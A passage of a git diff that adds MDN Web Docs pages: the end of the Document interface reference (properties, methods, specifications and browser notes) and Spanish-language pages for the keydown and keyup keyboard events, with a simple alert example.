+ <dd>Gets/sets the ability to edit the whole document.</dd>
+ <dt>{{domxref("Document.dir")}}</dt>
+ <dd>Gets/sets directionality (rtl/ltr) of the document.</dd>
+ <dt>{{domxref("Document.domain")}}</dt>
+ <dd>Returns the domain of the current document.</dd>
+ <dt>{{domxref("Document.embeds")}}</dt>
+ <dd>Returns a list of the embedded {{HTMLElement('embed')}} elements within the current document.</dd>
+ <dt>{{domxref("Document.fgColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the foreground color, or text color, of the current document.</dd>
+ <dt>{{domxref("Document.forms")}}</dt>
+ <dd>Returns a list of the {{HTMLElement("form")}} elements within the current document.</dd>
+ <dt>{{domxref("Document.head")}}</dt>
+ <dd>Returns the {{HTMLElement("head")}} element of the current document.</dd>
+ <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Gets/sets the height of the current document.</dd>
+ <dt>{{domxref("Document.images")}}</dt>
+ <dd>Returns a list of the images in the current document.</dd>
+ <dt>{{domxref("Document.lastModified")}}</dt>
+ <dd>Returns the date on which the document was last modified.</dd>
+ <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the color of hyperlinks in the document.</dd>
+ <dt>{{domxref("Document.links")}}</dt>
+ <dd>Returns a list of all the hyperlinks in the document.</dd>
+ <dt>{{domxref("Document.location")}}</dt>
+ <dd>Returns the URI of the current document.</dd>
+ <dt>{{domxref("Document.plugins")}}</dt>
+ <dd>Returns a list of the available plugins.</dd>
+ <dt>{{domxref("Document.readyState")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns loading status of the document.</dd>
+ <dt>{{domxref("Document.referrer")}}</dt>
+ <dd>Returns the URI of the page that linked to this page.</dd>
+ <dt>{{domxref("Document.scripts")}}</dt>
+ <dd>Returns all the {{HTMLElement("script")}} elements on the document.</dd>
+ <dt>{{domxref("Document.title")}}</dt>
+ <dd>Returns the title of the current document.</dd>
+ <dt>{{domxref("Document.URL")}}</dt>
+ <dd>Returns a string containing the URL of the current document.</dd>
+ <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the color of visited hyperlinks.</dd>
+ <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns the width of the current document.</dd>
+</dl>
+
+<h3 id="Event_handlers" name="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("pointerlockchange")}} event.</dd>
+ <dt>{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("pointerlockerror")}} event.</dd>
+ <dt>{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the event handling code for the <code>readystatechange</code> event.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<div class="note">
+<p><strong>Note:</strong> The <code>Document</code> interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Document.adoptNode","Document.adoptNode(Node node)")}}</dt>
+ <dd>Adopt node from an external document.</dd>
+ <dt>{{domxref("Document.captureEvents","Document.captureEvents(String eventName)")}} {{Deprecated_inline}}</dt>
+ <dd>See {{domxref("window.captureEvents")}}.</dd>
+ <dt>{{domxref("Document.caretPositionFromPoint","Document.caretPositionFromPoint(Number x, Number y)")}}</dt>
+ <dd>Gets a {{domxref("CaretPosition")}} based on two coordinates.</dd>
+ <dt>{{domxref("Document.createAttribute","Document.createAttribute(String name)")}}</dt>
+ <dd>Creates a new {{domxref("Attr")}} object and returns it.</dd>
+ <dt>{{domxref("Document.createAttributeNS","Document.createAttributeNS(String namespace, String name)")}}</dt>
+ <dd>Creates a new attribute node in a given namespace and returns it.</dd>
+ <dt>{{domxref("Document.createCDATASection","Document.createCDATASection(String data)")}}</dt>
+ <dd>Creates a new CDATA node and returns it.</dd>
+ <dt>{{domxref("Document.createComment","Document.createComment(String comment)")}}</dt>
+ <dd>Creates a new comment node and returns it.</dd>
+ <dt>{{domxref("Document.createDocumentFragment()")}}</dt>
+ <dd>Creates a new document fragment.</dd>
+ <dt>{{domxref("Document.createElement","Document.createElement(String name)")}}</dt>
+ <dd>Creates a new element with the given tag name.</dd>
+ <dt>{{domxref("Document.createElementNS","Document.createElementNS(String namespace, String name)")}}</dt>
+ <dd>Creates a new element with the given tag name and namespace URI.</dd>
+ <dt>{{domxref("Document.createEntityReference","Document.createEntityReference(String name)")}} {{obsolete_inline}}</dt>
+ <dd>Creates a new entity reference object and returns it.</dd>
+ <dt>{{domxref("Document.createEvent","Document.createEvent(String interface)")}}</dt>
+ <dd>Creates an event object.</dd>
+ <dt>{{domxref("Document.createNodeIterator","Document.createNodeIterator(Node root[, Number whatToShow[, NodeFilter filter]])")}}</dt>
+ <dd>Creates a {{domxref("NodeIterator")}} object.</dd>
+ <dt>{{domxref("Document.createProcessingInstruction","Document.createProcessingInstruction(String target, String data)")}}</dt>
+ <dd>Creates a new {{domxref("ProcessingInstruction")}} object.</dd>
+ <dt>{{domxref("Document.createRange()")}}</dt>
+ <dd>Creates a {{domxref("Range")}} object.</dd>
+ <dt>{{domxref("Document.createTextNode","Document.createTextNode(String text)")}}</dt>
+ <dd>Creates a text node.</dd>
+ <dt>{{domxref("Document.createTreeWalker","Document.createTreeWalker(Node root[, Number whatToShow[, NodeFilter filter]])")}}</dt>
+ <dd>Creates a {{domxref("TreeWalker")}} object.</dd>
+ <dt>{{domxref("Document.elementFromPoint","Document.elementFromPoint(Number x, Number y)")}}</dt>
+ <dd>Returns the element visible at the specified coordinates.</dd>
+ <dt>{{domxref("Document.enableStyleSheetsForSet","Document.enableStyleSheetsForSet(String name)")}}</dt>
+ <dd>Enables the style sheets for the specified style sheet set.</dd>
+ <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Release the pointer lock.</dd>
+ <dt>{{domxref("Document.getElementsByClassName","Document.getElementsByClassName(String className)")}}</dt>
+ <dd>Returns a list of elements with the given class name.</dd>
+ <dt>{{domxref("Document.getElementsByTagName","Document.getElementsByTagName(String tagName)")}}</dt>
+ <dd>Returns a list of elements with the given tag name.</dd>
+ <dt>{{domxref("Document.getElementsByTagNameNS","Document.getElementsByTagNameNS(String namespace, String tagName)")}}</dt>
+ <dd>Returns a list of elements with the given tag name and namespace.</dd>
+ <dt>{{domxref("Document.importNode","Document.importNode(Node node, Boolean deep)")}}</dt>
+ <dd>Returns a clone of a node from an external document.</dd>
+ <dt>{{domxref("document.mozSetImageElement")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Allows you to change the element being used as the background image for a specified element ID.</dd>
+ <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt>
+ <dd>Replaces entities, normalizes text nodes, etc.</dd>
+ <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Releases the current mouse capture if it's on an element in this document.</dd>
+ <dt>{{domxref("Document.releaseEvents")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>See {{domxref("window.releaseEvents")}}.</dd>
+ <dt>{{domxref("document.routeEvent")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt>
+ <dd>See {{domxref("window.routeEvent")}}.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("Document.getElementById","Document.getElementById(String id)")}}</dt>
+ <dd>Returns an object reference to the identified element.</dd>
+ <dt>{{domxref("Document.querySelector","Document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns the first Element node within the document, in document order, that matches the specified selectors.</dd>
+ <dt>{{domxref("Document.querySelectorAll","Document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns a list of all the Element nodes within the document that match the specified selectors.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("XPathEvaluator")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("Document.createExpression","Document.createExpression(String expression, XPathNSResolver resolver)")}}</dt>
+ <dd>Compiles an <code><a href="/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code> which can then be used for (repeated) evaluations.</dd>
+ <dt>{{domxref("Document.createNSResolver","Document.createNSResolver(Node resolver)")}}</dt>
+ <dd>Creates an {{domxref("XPathNSResolver")}} object.</dd>
+ <dt>{{domxref("Document.evaluate","Document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}</dt>
+ <dd>Evaluates an XPath expression.</dd>
+</dl>
+
+<h3 id="Extension_for_HTML_documents_2">Extension for HTML documents</h3>
+
+<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5, is extended for such documents:</p>
+
+<dl>
+ <dt>{{domxref("Document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.</dd>
+ <dt>{{domxref("Document.close()")}}</dt>
+ <dd>Closes a document stream for writing.</dd>
+ <dt>{{domxref("Document.execCommand","Document.execCommand(String command[, Boolean showUI[, String value]])")}}</dt>
+ <dd>On an editable document, executes a formating command.</dd>
+ <dt>{{domxref("Document.getElementsByName","Document.getElementsByName(String name)")}}</dt>
+ <dd>Returns a list of elements with the given name.</dd>
+ <dt>{{domxref("Document.getSelection()")}}</dt>
+ <dd>Returns a {{domxref("Selection")}} object related to text selected in the document.</dd>
+ <dt>{{domxref("Document.hasFocus()")}}</dt>
+ <dd>Returns <code>true</code> if the focus is currently located anywhere inside the specified document.</dd>
+ <dt>{{domxref("Document.open()")}}</dt>
+ <dd>Opens a document stream for writing.</dd>
+ <dt>{{domxref("Document.queryCommandEnabled","Document.queryCommandEnabled(String command)")}}</dt>
+ <dd>Returns true if the formating command can be executed on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandIndeterm","Document.queryCommandIndeterm(String command)")}}</dt>
+ <dd>Returns true if the formating command is in an indeterminate state on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandState","Document.queryCommandState(String command)")}}</dt>
+ <dd>Returns true if the formating command has been executed on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandSupported","Document.queryCommandSupported(String command)")}}</dt>
+ <dd>Returns true if the formating command is supported on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandValue","Document.queryCommandValue(String command)")}}</dt>
+ <dd>Returns the current value of the current range for a formatting command.</dd>
+ <dt>{{domxref("Document.registerElement","Document.registerElement(String tagname[, Object options])")}}</dt>
+ <dd>Registers a new custom element in the browser and returns a constructor for the new element.</dd>
+ <dt>{{domxref("Document.write","Document.write(String text)")}}</dt>
+ <dd>Writes text in a document.</dd>
+ <dt>{{domxref("Document.writeln","Document.writeln(String text)")}}</dt>
+ <dd>Writes a line of text in a document.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition for the interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Supersede DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Supersede DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Intend to supersede DOM 3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Turn the {{domxref("HTMLDocument")}} interface into a <code>Document</code> extension.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}</td>
+   <td>{{Spec2('DOM3 XPath')}}</td>
+   <td>Define the {{domxref("XPathEvaluator")}} interface which extend <code>Document</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#dom-document-getselection','Document')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Firefox_notes">Firefox notes</h3>
+
+<p>Mozilla defines a set of non-standard properties made only for XUL content:</p>
+
+<dl>
+ <dt>{{domxref("document.currentScript")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the {{HTMLElement("script")}} element that is currently executing.</dd>
+ <dt>{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>(<strong>Mozilla add-ons only!</strong>) Returns the {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).</dd>
+ <dt>{{domxref("document.popupNode")}}</dt>
+ <dd>Returns the node upon which a popup was invoked.</dd>
+ <dt>{{domxref("document.tooltipNode")}}</dt>
+ <dd>Returns the node which is the target of the current tooltip.</dd>
+</dl>
+
+<p>Mozilla also define some non-standard methods:</p>
+
+<dl>
+ <dt>{{domxref("Document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
+ <dt>{{domxref("Document.getBoxObjectFor")}} {{obsolete_inline}}</dt>
+ <dd>Use the {{domxref("Element.getBoundingClientRect()")}} method instead.</dd>
+ <dt>{{domxref("Document.loadOverlay")}} {{Fx_minversion_inline("1.5")}}</dt>
+ <dd>Loads a <a href="/en-US/docs/XUL_Overlays" title="XUL_Overlays">XUL overlay</a> dynamically. This only works in XUL documents.</dd>
+ <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
+</dl>
+
+<h3 id="Internet_Explorer_notes">Internet Explorer notes</h3>
+
+<p>Microsoft defines some non-standard properties:</p>
+
+<dl>
+ <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd>
+ <dt><span style="font-weight: normal; line-height: 1.5;">Internet Explorer does not support all methods from the <code>Node</code> interface in the <code>Document</code> interface:</span></dt>
+</dl>
+
+<dl>
+ <dt>{{domxref("document.contains")}}</dt>
+ <dd>As a work-around, <code>document.body.contains()</code> can be used.</dd>
+</dl>
+
+<p> </p>
diff --git a/files/es/web/api/document/keydown_event/index.html b/files/es/web/api/document/keydown_event/index.html
new file mode 100644
index 0000000000..57dc4336a5
--- /dev/null
+++ b/files/es/web/api/document/keydown_event/index.html
@@ -0,0 +1,178 @@
+---
+title: keydown
+slug: Web/API/Document/keydown_event
+tags:
+  - Evento
+  - keydown
+translation_of: Web/API/Document/keydown_event
+---
+<p>El evento <code>keydown</code> se produce cuando se presiona una tecla.</p>
+
+<p>A diferencia del evento <code><a href="/en-US/docs/Web/Events/keypress">keypress</a></code>, el evento <code>keydown</code> es producido por todas las teclas, independientemente de si estas son caracteres o no.</p>
+
+<h2 id="Información_general">Información general</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/DOM/KeyboardEvent" title="/en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Burbuja</dt>
+ <dd style="margin: 0 0 0 120px;">Si</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Si</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Objetivo</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Acción</dt>
+ <dd style="margin: 0 0 0 120px;">Varía: evento <code>keypress</code>; lanza el sistema de composición de texto; eventos <code>blur</code> y <code>focus</code>; <code>DOMActivate</code> evento; otro evento</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget (DOM element)</td>
+   <td>Focused element processing the key event, root element if no suitable input element focused.</td>
+  </tr>
+  <tr>
+   <td><code>char</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail.
+    <div class="note"><strong>Note:</strong> If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>key</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. Read Only.</td>
+  </tr>
+  <tr>
+   <td><code>charCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>keyCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>which</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>location</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>The location of the key on the device.</td>
+  </tr>
+  <tr>
+   <td><code>repeat</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>locale</code> {{readonlyInline}}</td>
+   <td>string</td>
+   <td>The language code for the key event, if available; otherwise, the empty string.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="preventDefault_del_evento_keydown"><code>preventDefault()</code> del evento <code>keydown</code></h2>
+
+<p>Empezando desde Gecko 25, una llamada a <code>preventDefault()</code> del evento <code>keydown</code> impide la emisión del consiguiente evento <code>keypress</code>. Este es un comportamiento válido para la especificación D3E y otros navegadores importantes que se comportan de esta misma forma. Por otro lado, Gecko 24 y anteriores emiten el evento <code>keypress</code> aunque se haya llamado a <code>preventDefault()</code> del evento <code>keydown</code> predecesor. Aunque el atributo <code>defaultPrevented</code> del evento <code>keypress</code> sea <code>true</code> en este caso.</p>
+
+<h2 id="Eventos_relacionados">Eventos relacionados</h2>
+
+<ul>
+ <li>{{event("keydown")}}</li>
+ <li>{{event("keyup")}}</li>
+ <li>{{event("keypress")}}</li>
+ <li>{{event("input")}}</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+
+'use strict';
+
+document.addEventListener('keydown', (event) =&gt; {
+  const keyName = event.key;
+  alert('keydown event\n\n' + 'key: ' + keyName);
+});
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
diff --git a/files/es/web/api/document/keyup_event/index.html b/files/es/web/api/document/keyup_event/index.html
new file mode 100644
index 0000000000..350629e9ab
--- /dev/null
+++ b/files/es/web/api/document/keyup_event/index.html
@@ -0,0 +1,149 @@
+---
+title: Tecla Arriba
+slug: Web/API/Document/keyup_event
+translation_of: Web/API/Document/keyup_event
+---
+<p>El evento es iniciado cuando la tecla es soltada.</p>
+
+<h2 id="Información_General">Información General</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="http://developer.mozilla.org/en-US/docs/DOM/KeyboardEvent" title="http://en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Si</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Si</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Ninguna</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget (DOM element)</td>
+   <td>Focused element processing the key event, root element if no suitable input element focused.</td>
+  </tr>
+  <tr>
+   <td><code>char</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail.
+    <div class="note"><strong>Note:</strong> If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>key</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. Read Only.</td>
+  </tr>
+  <tr>
+   <td><code>charCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>keyCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>which</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>location</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>The location of the key on the device.</td>
+  </tr>
+  <tr>
+   <td><code>repeat</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>locale</code> {{readonlyInline}}</td>
+   <td>string</td>
+   <td>The language code for the key event, if available; otherwise, the empty string.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
